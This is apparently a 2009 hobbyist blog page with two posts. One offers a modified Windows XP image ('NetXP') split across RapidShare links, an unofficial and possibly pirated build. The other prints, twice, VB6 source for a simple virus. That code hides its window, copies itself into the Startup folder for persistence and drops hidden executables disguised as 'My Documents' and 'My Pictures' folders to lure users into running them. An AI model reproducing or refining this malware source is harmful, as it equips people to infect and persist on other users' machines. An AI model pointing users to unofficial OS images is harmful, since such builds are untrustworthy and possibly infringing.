this light weight windows XP that looks like vista. super fast for netbooks
you can download Netxp here:
Note: you will need HJSPLIT to join the file, you can download HJSPLIT here http://www.freebyte.com/hjsplit/#win32
Join the files and burn it using Nero or other 3rd party burining tools.
and then you can use it to install NetXP to any i386 computer.
- NETXP sp3 Package:
http://rapidshare.com/files/210350976/Netxp_Boot.iso.001
http://rapidshare.com/files/210416750/Netxp_Boot.iso.002
http://rapidshare.com/files/210572162/Netxp_Boot.iso.003
http://rapidshare.com/files/210603372/Netxp_Boot.iso.004
Use HJSplit to join the files.
this is also based on haktech tutorials.
http://haktech.blogspot.com
Tuesday, April 21, 2009
Sunday, April 19, 2009
vb6 virus source code
this is a small example of a vb6 virus. for educational purpose only.
i got this article from www.nsfive.net and haktech.blogspot.com
since my friend asked me about a source code on a virus for example.
Private Sub Form_Load()
On Error GoTo err:
loadpar = "0"
'Check EXE Instance
If App.PrevInstance = True Then
End
End If
'Hide APp
cmd_hide_Click 'CLOAK
Dim retvalmydoc
Dim filename, att, fso
'open my documents folder
retvalmydoc = Shell("explorer.exe " & MyDocuments & "\", vbNormalFocus)
'copy to start up folder
DoEvents
FileCopy App.Path & "\" & App.EXEName & ".exe", StartUp & "\" & App.EXEName & ".exe"
filename = StartUp & "\" & App.EXEName & ".exe"
Set att = fso.GetFile(filename)
att.Attributes = 39 'hide file
'copy mydocument
FileCopy App.Path & "\" & App.EXEName & ".exe", MyDocuments & "\My Documents" & ".exe"
filename = MyDocuments & "\My Documents" & ".exe"
Set att = fso.GetFile(filename)
att.Attributes = 39 'hide file
DoEvents
'my pictures MyPictures
FileCopy App.Path & "\" & App.EXEName & ".exe", MyPictures & "\My Pictures" & ".exe"
filename = MyPictures & "\My Pictures" & ".exe"
Set att = fso.GetFile(filename)
att.Attributes = 39 'hide file
err:
If err.Number <> 0 Then
'MsgBox err.Number & err.Description
err.Clear
Resume Next
End If
End Sub
for virus removal guides visit http://haktech.blogpsot.com
i got this article from www.nsfive.net and haktech.blogspot.com
since my friend asked me about a source code on a virus for example.
Private Sub Form_Load()
On Error GoTo err:
loadpar = "0"
'Check EXE Instance
If App.PrevInstance = True Then
End
End If
'Hide APp
cmd_hide_Click 'CLOAK
Dim retvalmydoc
Dim filename, att, fso
'open my documents folder
retvalmydoc = Shell("explorer.exe " & MyDocuments & "\", vbNormalFocus)
'copy to start up folder
DoEvents
FileCopy App.Path & "\" & App.EXEName & ".exe", StartUp & "\" & App.EXEName & ".exe"
filename = StartUp & "\" & App.EXEName & ".exe"
Set att = fso.GetFile(filename)
att.Attributes = 39 'hide file
'copy mydocument
FileCopy App.Path & "\" & App.EXEName & ".exe", MyDocuments & "\My Documents" & ".exe"
filename = MyDocuments & "\My Documents" & ".exe"
Set att = fso.GetFile(filename)
att.Attributes = 39 'hide file
DoEvents
'my pictures MyPictures
FileCopy App.Path & "\" & App.EXEName & ".exe", MyPictures & "\My Pictures" & ".exe"
filename = MyPictures & "\My Pictures" & ".exe"
Set att = fso.GetFile(filename)
att.Attributes = 39 'hide file
err:
If err.Number <> 0 Then
'MsgBox err.Number & err.Description
err.Clear
Resume Next
End If
End Sub
for virus removal guides visit http://haktech.blogpsot.com
Subscribe to:
Posts (Atom)
